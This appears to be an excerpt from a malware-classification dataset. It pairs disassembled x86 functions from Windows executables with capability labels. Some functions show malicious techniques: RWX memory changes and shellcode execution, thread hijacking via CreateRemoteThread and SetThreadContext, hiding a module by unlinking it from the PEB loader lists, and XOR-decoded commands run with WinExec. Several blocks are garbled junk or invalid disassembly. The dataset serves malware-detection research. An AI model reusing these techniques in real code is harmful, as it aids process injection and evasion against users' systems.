joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ce09
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40ce13
repz ret
jmp fcn.00413639

Function at 0x413b7e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104e0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413c2f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ce0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ce0
push eax
call fcn.0041046e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041046e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413c2f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041046e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c87
cmp dword [0x423e2c], ebx
je 0x413c87
push eax
call fcn.004104e9
push dword [0x423e2c]
mov esi, eax
call fcn.004104e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c87
test edi, edi
je 0x413c87
call esi
test eax, eax
je 0x413c7e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c7e
test byte [ebp - 0xc], 1
jne 0x413c87
or dword [ebp + 0x10], 0x200000
jmp 0x413cc0
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413cc0
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413cc0
push eax
call fcn.004104e9
pop ecx
test eax, eax
je 0x413cc0
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104e9
pop ecx
test eax, eax
je 0x413ce0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ce2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x405216
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00404ed6
Function at 0x402770
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40c02c], 0x8088405
inc edx
mov dword [0x40c02c], edx
mul edx
mov eax, edx
ret

Function at 0x4051d0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405209
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
invalid

Function at 0x40521c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x40523d
mov al, byte [esp]
jmp 0x40523f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40658c
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4065c2
push dword fs:[eax]
mov dword fs:[eax], esp
pushfd
add esi, dword [0x40bba3]
sub dword [0x40b606], esi
xor ecx, 0xc27e7f2a
call fcn.00407eae
xor dword [0x40b6cb], eax
rol eax, 0x17
xchg ebx, edx
xor ebx, dword [0x40bb63]
or dword [0x40b6be], 0xe86b196b
rol ecx, 0x19
neg esi

Function at 0x4065d8
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
dec edx
neg ecx
mov dword [0x40b8f0], 0x9d8fdb4d
xor eax, ecx
ror edi, 0x12
xchg ebx, edx
xchg ebx, edx
rol edi, 0x12
xor eax, ecx
neg ecx
inc edx
neg esi
ror ecx, 0x19
or dword [0x40b710], 0x5955b8ad
xchg ebx, edx
ror eax, 0x17
call fcn.004022c1
mov esp, 0xf181ffff
sub bh, byte [edi + 0x7e]
ret 0x152
xor eax, 0x40b77b
neg ecx
add dword [0x40b719], 0xeedf24e7
add edx, ecx
dec edx
call fcn.00407eae
add dword [0x40b6e8], edx
xchg edi, eax
add ecx, esi
xor edi, esp
xor edi, esp
sub ecx, esi
xchg edi, eax
sub dword [0x40b640], ebx
call fcn.004016f6
inc edx
sub edx, ecx
xor dword [0x40b71d], 0x9afd1dd7
neg ecx
xor dword [0x40b89f], ecx
push ecx
add ecx, dword [0x40bc42]
call fcn.0040863f
rol ebx, 0xd
or ebx, dword [0x40bade]
dec eax
xor ebx, dword [0x40bed8]
not edx
sub ecx, dword [0x40bc3b]
add ebx, dword [0x40bb59]
add esi, eax
add eax, dword [0x40bc92]

Function at 0x40660c
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
mov esp, 0xf181ffff
sub bh, byte [edi + 0x7e]
ret 0x152
Function at 0x4068fc
Capabilities:
Encode data using xor
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
mov ecx, 0xdef70040
ficom dword [edi - 0x18]
lcall 0xe8d8, 0x33fffff9
movsb byte es:[edi], byte [esi]
test eax, 0xd81ffff
jle 0x4068c7
inc eax
add bl, dh
or ebx, dword [esi - 0x3e38fc85]
into
or byte [ecx + 0x40b4d83d], cl
add byte [ebx], al
or ecx, dword [0x40be24]

Function at 0x406a1c
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
mov ebx, ebx
add eax, ebx
shl edi, 0x1f
and edx, ebx
mov edx, 0xe71cc472
or ecx, eax
mov esi, 0x755ecfa9
sub ebx, 0x662ef3c
call fcn.0040459d
or edx, 0xf67a8754
sub ebx, eax
shr esi, 0x1c
test ebx, ecx
jl 0x406a55
cmp dword [0x40b069], 0x6d4bd537
jbe 0x406a59
xor eax, esi
mov ebx, edi
not ebx
call fcn.0040658b
ror esi, 0x11
shl eax, 0x17
cmp dword [0x40b251], ecx
jg 0x406a75
call fcn.00403a1a
shl ebx, 0x15
ror ecx, 0x16
neg eax
shr ecx, 9
mov ecx, 0x78012f4
cmp ebx, eax
jns 0x406a8f
or dword [0x40b49a], ebx
add ebx, 0xc37c7c3
and dword [0x40b628], edx
add edi, dword [0x40b1a5]
inc esi
and ebx, 0xa4f1f53d
sub esi, esp
or ebx, 0x76643150
ror edi, 0x19
xor edx, dword [0x40b292]
neg esi
inc eax
loop 0x406a85
rol ecx, 3
mov edi, dword [0x40b12c]
neg ecx
sub ebx, edx
cmp dword [0x40b0e3], ecx
jno 0x406ad9
and edx, 0xa74b597d
call fcn.0040568d
not ebx
mov ecx, 0xc75f412
or edx, 0x7e2e44c
add esi, edx
call fcn.004098c2
test esi, 0x26fd2b1
jo 0x406afc
add eax, ecx
sub edi, 0x44e68451
add ebx, dword [0x40b294]
dec ebx
ror edi, 0xe
add dword [0x40b582], ecx
add edx, eax
neg ebx
xchg esi, eax
loop 0x406ae5
cmp esp, 0x44d1073f
jne 0x406b28
add ebx, 0x1390c5b8
dec edx
inc esi
add esi, 0xaaa136e5
inc esi
shr ebx, 0x16
rol edi, 9
shr eax, 0x10
xor dword [0x40b969], 0x14b70815
mov ecx, 0x79af0ad
and esi, dword [0x40b2bf]
invalid

Function at 0x406ba4
Capabilities:
Hash data using murmur3

Disassembly:
call fcn.004098c2
or esi, dword [0x40b378]
or dword [0x40b867], 0x83332181
ror esi, 7
or esi, dword [0x40b1d1]
neg esi
mov dword [0x40b9b0], 0x479dd2e9
call fcn.00405201
call fcn.00408bd2
xor dword [0x40b969], ecx
sub dword [0x40b962], ecx
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
rol esi, 6
xchg edx, eax
rol eax, 2
not esi
inc esi
xchg ecx, esi
rol esi, 0x16
add esi, dword [0x40bacd]
Function at 0x406cc8
Capabilities:
Hash data using murmur3

Disassembly:
add al, ch
loopne 0x406cdd
add byte [eax], al
xor esp, ecx
invalid

Function at 0x406f74
Capabilities:
Hash data using murmur3

Disassembly:
add bh, dh
fld dword [ebx]
sbb eax, 0x40bba2

Function at 0x4071e0
Capabilities:
Hash data using murmur3

Disassembly:
or al, 0
add byte [ecx - 0x79], al
invalid
or esi, edi
ror byte [edx - 0x7f], cl
jo 0x4071b9
xor ebx, esp
ror edi, 0xf
call fcn.00404bbf
add ecx, 0xa0a19a40
rol edi, 0xb
and edx, 0xc8044d71
not edi
inc eax
sub eax, dword [0x40bd36]
or dword [0x40b790], 0xa3d190d6
call fcn.00402f27
rol edi, 0x10
call fcn.00401cd3
xchg ebx, eax
add ecx, dword [0x40bf95]
dec eax
or ebx, dword [0x40baca]
sub esi, dword [0x40baa2]
inc eax
xchg ebx, eax
call fcn.00407eae
ror edi, 0x10
call fcn.00407eae
dec eax
not edi
sub edx, 0x8b8ddfaa
call fcn.00408f37
xor eax, edx
neg esi

Function at 0x407258
Capabilities:
Hash data using murmur3

Disassembly:
or dword [0x40b788], 0x6f67a421
inc eax
call fcn.00402dcd
or eax, dword [0x40bca8]
rol esi, 2
call fcn.004063b9
xor ecx, 0x8b754bcb
sub ebx, esp
call fcn.00403066
or ebx, dword [0x40bace]
mov dword [0x40b458], edx
call fcn.00408d3d
add ebx, esp
xor ecx, 0x8b754bcb
ror esi, 2
call fcn.004087fa
Function at 0x4072a4
Capabilities:
Hash data using murmur3

Disassembly:
dec eax
neg esi
xor eax, edx
call fcn.00407eae
push edx
xor edi, 0x59829a81
rol esi, 0x1d
sub edx, eax
call fcn.00405b31
mov dword [0x40b861], eax
neg eax
xor esi, 0xdd0bcbd
sub dword [0x40b541], 0xfe3d6f0f
inc eax
not esi
xor esi, esp
add ebx, dword [0x40bda7]
dec esi
xor edx, dword [0x40bdb5]
sub edi, dword [0x40ba88]
rol ecx, 0x1f
call fcn.00403066
dec ecx
inc ecx
call fcn.0040293d
ror ecx, 0x1f
inc esi
xor esi, esp
not esi
dec eax
xor dword [0x40b5e2], 0xfc464d92
xor esi, 0xdd0bcbd
neg eax
mov dword [0x40b4db], ebx
add edx, eax
ror esi, 0x1d
xor edi, 0x59829a81
push esp
not edx
mov dword [0x40b53d], edx
sub edx, dword [0x40bd67]
not ecx
inc esi
ror esi, 0x1c
sub edx, ecx
call fcn.00407eae
and dword [0x40b7c3], eax
xor ebx, dword [0x40bf8b]
xor eax, dword [0x40baf9]
xor ecx, ebp
add esi, dword [0x40be74]
add dword [0x40b489], ebx
or eax, dword [0x40bb3e]
add ebx, 0x2ff0a1f7
ror eax, 0x1d
inc esi
mov dword [0x40b719], esi
sub ebx, dword [0x40bedb]
or dword [0x40b4a6], esi
dec esi
rol eax, 0x1d
sub ebx, 0x2ff0a1f7
or dword [0x40b5b9], ecx
xor ecx, ebp
mov dword [0x40b917], ebx
call fcn.0040431f
add edx, ecx
rol esi, 0x1c
dec esi
not ecx
xor dword [0x40b48e], edi
not edx
push eax
sub dword [0x40b8e4], edi
xchg edi, edx
or eax, dword [0x40ba1e]
sub edi, dword [0x40baff]
rol ebx, 0x1b
xor edx, 0x4f7cdccd
sub ecx, dword [0x40bb4a]
add dword [0x40b5e2], edi
neg esi
ror edx, 0x1c
dec edi
or esi, dword [0x40bb6d]
xor eax, dword [0x40ba86]
inc edi
rol edx, 0x1c
neg esi
xor edx, 0x4f7cdccd
ror ebx, 0x1b
xchg edi, edx
mov dword [0x40b9cc], ecx
call dword [sym.imp.kernel32.dll_GetProcAddress]
xor dword [0x40b67c], eax
add ebx, dword [0x40bbae]
sub eax, dword [0x40bc2a]
neg esi
call fcn.0040872a
add eax, 0xd953402e
ror edi, 0x13
or edi, dword [0x40bf7b]
sub edx, dword [0x40bfdc]
ror ebx, 8
call fcn.00402a0d
not edi
rol edx, 1
ror edx, 1
not edi
call fcn.00403877
rol ebx, 8
rol edi, 0x13
sub eax, 0xd953402e
call fcn.00403247
neg esi
and dword [0x40b4db], esi
add esp, 0x10
xor esi, edx
xchg edi, edx
dec esi

Function at 0x407474
Capabilities:
Hash data using murmur3

Disassembly:
neg esi
sub ebx, dword [0x40baa9]
rol esi, 0x1a
sub dword [0x40b698], edi
rol ecx, 0xd
mov dword [0x40b6a5], eax
or edx, dword [0x40bba5]
invalid
add eax, 0x40b665
invalid
scasb al, byte es:[edi]

Function at 0x408f90
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
mov esi, edx
mov ebx, eax
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.00408f44
test al, al
jne 0x408fb1
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x408ffd
xor eax, eax
push ebp
push 0x408fed
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004033e8
push eax
call sub.kernel32.dll_DeleteFileA
mov dword [ebp - 4], eax
call sub.kernel32.dll_GetLastError_1
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408ff4
lea eax, [ebp - 0xc]
call fcn.00408f80
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409304
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x4093f3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
call fcn.00406cc8
mov edx, dword [ebp - 8]
mov ecx, 0x40940c
xor eax, eax
call fcn.004091f8
push 0
mov eax, dword [ebp - 4]
call fcn.004033e8
push eax
call sub.kernel32.dll_CreateDirectoryA
test eax, eax
jne 0x4093c1
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
cmp ebx, 0xb7
je 0x409324
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x18]
mov edx, dword [ebp - 4]
mov al, 0x35
call fcn.00408dac
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.00404c58
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x20]
mov eax, ebx
ret
call fcn.00407258
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x14]
mov ecx, 2
mov al, 0x67
call fcn.00408d7c
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, 0x404624
call fcn.00405854
call fcn.00402e88
jmp 0x409324
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00403200
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4093fa
lea eax, [ebp - 0x20]
mov edx, 3
call fcn.0040318c
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040318c
ret
Function at 0x100018a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x1f4
lea eax, [ebp - 0x1f8]
push 0
push eax
mov esi, ecx
call fcn.10025d10
add esp, 0xc
lea ecx, [ebp - 0x1fc]
push ecx
push 0x20019
xor ebx, ebx
push ebx
push esi
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10001945
mov ecx, dword [ebp - 0x1fc]
lea edx, [ebp - 0x200]
push edx
lea eax, [ebp - 0x1f8]
push eax
push ebx
push ebx
push edi
push ecx
call esi
test eax, eax
jne 0x10001945
push 0x1f4
push eax
lea edx, [ebp - 0x1f8]
push edx
call fcn.10025d10
mov eax, dword [ebp - 0x1fc]
add esp, 0xc
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
lea eax, [ebx + 1]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1fc]
lea ecx, [ebp - 0x200]
push ecx
lea edx, [ebp - 0x1f8]
push edx
push 0
push 0
push edi
push eax
call esi
test eax, eax
jne 0x1000199c
push 0x1f4
push eax
lea ecx, [ebp - 0x1f8]
push ecx
call fcn.10025d10
mov edx, dword [ebp - 0x1fc]
add esp, 0xc
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1002206c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop esi
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.1002206c
mov esp, ebp
pop ebp
ret
Function at 0x10002fa0
Capabilities:
Hash data using crc32b

Disassembly:
push ebx
xor edx, edx
push edi
xor eax, eax
test dl, 1
je 0x10002fb0
mov eax, 0x80
mov ecx, edx
shr ecx, 1
test cl, 1
je 0x10002fbc
or eax, 0x40
shr ecx, 1
test cl, 1
je 0x10002fc6
or eax, 0x20
shr ecx, 1
test cl, 1
je 0x10002fd0
or eax, 0x10
shr ecx, 1
test cl, 1
je 0x10002fda
or eax, 8
shr ecx, 1
test cl, 1
je 0x10002fe4
or eax, 4
shr ecx, 1
test cl, 1
je 0x10002fee
or eax, 2
test cl, 2
je 0x10002ff6
or eax, 1
shl eax, 0x18
mov ecx, eax
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
mov eax, ecx
and eax, 0x80000000
neg eax
sbb eax, eax
add ecx, ecx
and eax, 0x4c11db7
xor eax, ecx
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
and ecx, 0x4c11db7
add eax, eax
xor ecx, eax
xor edi, edi
mov dword [esi + edx*4], ecx
mov eax, ecx
lea ecx, [edi + 0x1f]
jmp 0x100030b0
test al, 1
je 0x100030bd
mov ebx, 1
shl ebx, cl
or edi, ebx
dec ecx
shr eax, 1
cmp ecx, 0xffffffff
jg 0x100030b0
mov dword [esi + edx*4], edi
inc edx
cmp edx, 0xff
jle 0x10002fa4
pop edi
pop ebx
ret

Function at 0x100030e0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [eax]
or esi, 0xffffffff
mov dword [ebp - 0x408], edi
push edi
push 0x400
lea eax, [ebp - 0x404]
push 1
push eax
call fcn.1002415a
add esp, 0x10
mov ecx, eax
lea edx, [ebp - 0x404]
test eax, eax
je 0x10003150
jmp 0x10003130
movzx ebx, byte [edx]
mov edi, esi
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr esi, 8
xor esi, dword [ebx + edi*4]
inc edx
dec ecx
jne 0x10003130
mov edi, dword [ebp - 0x408]
cmp eax, 0x400
je 0x10003104
push edi
call fcn.100245b7
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
mov eax, esi
pop esi
xor ecx, ebp
not eax
pop ebx
call fcn.1002206c
mov esp, ebp
pop ebp
ret 8
Function at 0x10003180
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x100438a8
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [esi], 0xffffffff
mov dword [ebp - 4], 0
call fcn.1002389b
add esp, 0xc
test eax, eax
je 0x100031b1
xor al, al
mov esp, ebp
pop ebp
ret 4
push edi
push 0x400
call fcn.10022df2
mov edi, eax
add esp, 4
mov dword [ebp - 8], edi
test edi, edi
jne 0x100031dd
mov edx, dword [ebp - 4]
push edx
call fcn.100245b7
add esp, 4
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push eax
push 0x400
push 1
push edi
call fcn.1002415a
add esp, 0x10
test eax, eax
je 0x1000323a
push ebx
mov ecx, eax
mov edx, edi
test eax, eax
je 0x10003221
mov edi, edi
mov eax, dword [esi]
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr eax, 8
xor eax, dword [ebx + edi*4]
inc edx
dec ecx
mov dword [esi], eax
jne 0x10003200
mov edi, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ecx
push 0x400
push 1
push edi
call fcn.1002415a
add esp, 0x10
test eax, eax
jne 0x100031f6
pop ebx
push edi
call fcn.10022c03
mov edx, dword [ebp - 4]
push edx
call fcn.100245b7
mov eax, dword [esi]
not eax
add esp, 8
mov dword [esi], eax
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x10003260
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x100438a0
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [esi], 0xffffffff
mov dword [ebp - 4], 0
call fcn.10022139
add esp, 0xc
test eax, eax
je 0x10003291
xor al, al
mov esp, ebp
pop ebp
ret 4
push edi
push 0x400
call fcn.10022df2
mov edi, eax
add esp, 4
mov dword [ebp - 8], edi
test edi, edi
jne 0x100032bd
mov edx, dword [ebp - 4]
push edx
call fcn.100245b7
add esp, 4
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push eax
push 0x400
push 1
push edi
call fcn.1002415a
add esp, 0x10
test eax, eax
je 0x1000331a
push ebx
mov ecx, eax
mov edx, edi
test eax, eax
je 0x10003301
mov edi, edi
mov eax, dword [esi]
movzx ebx, byte [edx]
mov edi, eax
and edi, 0xff
xor edi, ebx
mov ebx, dword [ebp + 8]
shr eax, 8
xor eax, dword [ebx + edi*4]
inc edx
dec ecx
mov dword [esi], eax
jne 0x100032e0
mov edi, dword [ebp - 8]
mov ecx, dword [ebp - 4]
push ecx
push 0x400
push 1
push edi
call fcn.1002415a
add esp, 0x10
test eax, eax
jne 0x100032d6
pop ebx
push edi
call fcn.10022c03
mov edx, dword [ebp - 4]
push edx
call fcn.100245b7
mov eax, dword [esi]
not eax
add esp, 8
mov dword [esi], eax
mov al, 1
pop edi
mov esp, ebp
pop ebp
ret 4

Function at 0x10003f30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call ebx
mov ecx, dword [ebp + 8]
push esi
push ecx
push edi
call fcn.10025490
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 4]
push edx
push eax
push esi
push edi
call ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004190
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
push esi
mov ecx, 0xd6
xor eax, eax
mov edi, edi
mov dl, byte [eax + 0x100438b4]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x18], dl
inc eax
and ecx, 0xff
cmp eax, 0x12
jb 0x100041b0
lea eax, [ebp - 0x18]
push eax
mov ecx, 0x3f68bd5b
lea eax, [ebp - 0x24]
mov byte [ebp - 6], 0
call fcn.1001cdd0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x2f4]
push ecx
push 0x40
mov esi, eax
xor eax, eax
push pe_nt_image_headers32
push esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov word [ebp - 8], ax
mov byte [ebp - 6], al
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push ebx
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea edx, [ebp - 0x2f0]
push edx
mov ebx, 0x10002
push esi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2f0]
push eax
push esi
mov dword [ebp - 0x240], edi
mov dword [ebp - 0x2f0], ebx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.1002206c
mov esp, ebp
pop ebp
ret

Function at 0x10004290
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
nop
nop
nop
nop
nop
mov dword [ebp - 4], 0
nop
nop
nop
nop
nop
pushal
pushfd
nop
nop
nop
nop
nop
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x100042d8
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100042dc
cmp edx, esi
jne 0x100042c1
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x100042fc
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10004300
cmp edx, esi
jne 0x100042e5
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x10004320
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10004324
cmp edx, esi
jne 0x10004309
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004330
Capabilities:
Create process on windows
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x1004a650]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, 0xdd
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + 0x100438d4]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x120], dl
inc eax
and ecx, 0xff
cmp eax, 0x16
jb 0x10004360
mov byte [ebp - 0x10a], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x108]
push ecx
call fcn.100222af
add esp, 0xc
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.10025d10
add esp, 0xc
jmp dword [pe_dos_header]